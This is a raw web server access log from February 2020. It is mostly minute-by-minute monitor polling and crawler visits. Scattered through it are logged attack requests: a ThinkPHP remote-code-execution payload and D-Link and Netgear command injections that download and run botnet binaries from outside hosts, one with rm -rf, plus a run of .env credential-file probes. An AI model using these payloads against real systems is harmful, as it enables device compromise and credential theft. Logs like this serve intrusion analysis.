212.91.246.72 - - [23/Feb/2020:11:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
139.162.119.197 - - [23/Feb/2020:11:32:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
212.91.246.72 - - [23/Feb/2020:11:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.52.205.37 - - [23/Feb/2020:11:34:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:11:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.137.83.58 - - [23/Feb/2020:11:39:47 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:11:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.218.138.26 - - [23/Feb/2020:11:45:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:11:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:53:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:54:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:55:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:56:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:57:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:58:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:11:59:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:00:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:01:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:02:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:03:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:04:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:05:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
201.13.139.51 - - [23/Feb/2020:12:05:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
223.18.155.108 - - [23/Feb/2020:12:06:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:06:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
90.166.12.245 - - [23/Feb/2020:12:06:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
82.64.139.248 - - [23/Feb/2020:12:06:39 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
78.29.15.81 - - [23/Feb/2020:12:06:58 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:07:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:08:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.208.110.78 - - [23/Feb/2020:12:08:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [23/Feb/2020:12:09:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:10:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:11:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:12:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.47.33.206 - - [23/Feb/2020:12:13:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:12:13:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:14:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
108.50.231.111 - - [23/Feb/2020:12:14:49 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
197.248.158.230 - - [23/Feb/2020:12:15:18 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:12:15:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:16:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:17:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:18:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.213.160.22 - - [23/Feb/2020:12:19:04 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:19:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.126.236.37 - - [23/Feb/2020:12:19:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [23/Feb/2020:12:20:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:21:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:22:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:23:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:24:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:25:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:26:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.95.224.70 - - [23/Feb/2020:12:27:00 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:27:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:28:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.95.185.33 - - [23/Feb/2020:12:29:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:29:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.229.130.53 - - [23/Feb/2020:12:30:04 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [23/Feb/2020:12:30:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:31:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:32:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:33:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:34:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:35:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.95.199.25 - - [23/Feb/2020:12:36:14 +0100] "GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://117.95.199.25:51762/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 HTTP/1.0" 404 310 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:36:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:37:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
198.108.66.240 - - [23/Feb/2020:12:37:43 +0100] "\x16\x03\x01" 501 318 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:38:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
96.246.121.80 - - [23/Feb/2020:12:38:34 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:39:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:40:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.19.255.21 - - [23/Feb/2020:12:40:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
111.19.255.21 - - [23/Feb/2020:12:40:51 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
111.19.255.21 - - [23/Feb/2020:12:40:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:41:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:42:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:43:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:44:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:45:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.191.92.44 - - [23/Feb/2020:12:46:22 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:12:46:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.191.92.44 - - [23/Feb/2020:12:46:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [23/Feb/2020:12:47:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:48:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:49:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
35.173.199.14 - - [23/Feb/2020:12:50:12 +0100] "\x16\x03\x01\x01D\x01" 501 321 "-" "-"
212.91.246.72 - - [23/Feb/2020:12:50:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:51:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:52:22 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:53:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:54:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:55:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.29 - - [23/Feb/2020:12:56:03 +0100] "GET /robots.txt HTTP/1.1" 404 328 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.29 - - [23/Feb/2020:12:56:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [23/Feb/2020:12:56:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:57:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:58:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:12:59:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:00:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:01:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:02:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.84.41.133 - - [23/Feb/2020:13:02:36 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [23/Feb/2020:13:03:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:04:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:05:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:06:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.109.87.223 - - [23/Feb/2020:13:06:31 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [23/Feb/2020:13:07:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:08:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:09:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.80.39.65 - - [23/Feb/2020:13:09:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
212.91.246.72 - - [23/Feb/2020:13:10:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [23/Feb/2020:13:11:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.216.198 - - [23/Feb/2020:13:11:33 +0100] "GET /vod_installer/.env HTTP/1.1" 404 323 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:33 +0100] "GET /login/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /engine/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /inc/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /react/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /travis/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /backend/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /protected/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:34 +0100] "GET /laravel/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /auth/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /scripts/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /personal/.env HTTP/1.1" 404 318 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /project/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.216.198 - - [23/Feb/2020:13:11:35 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
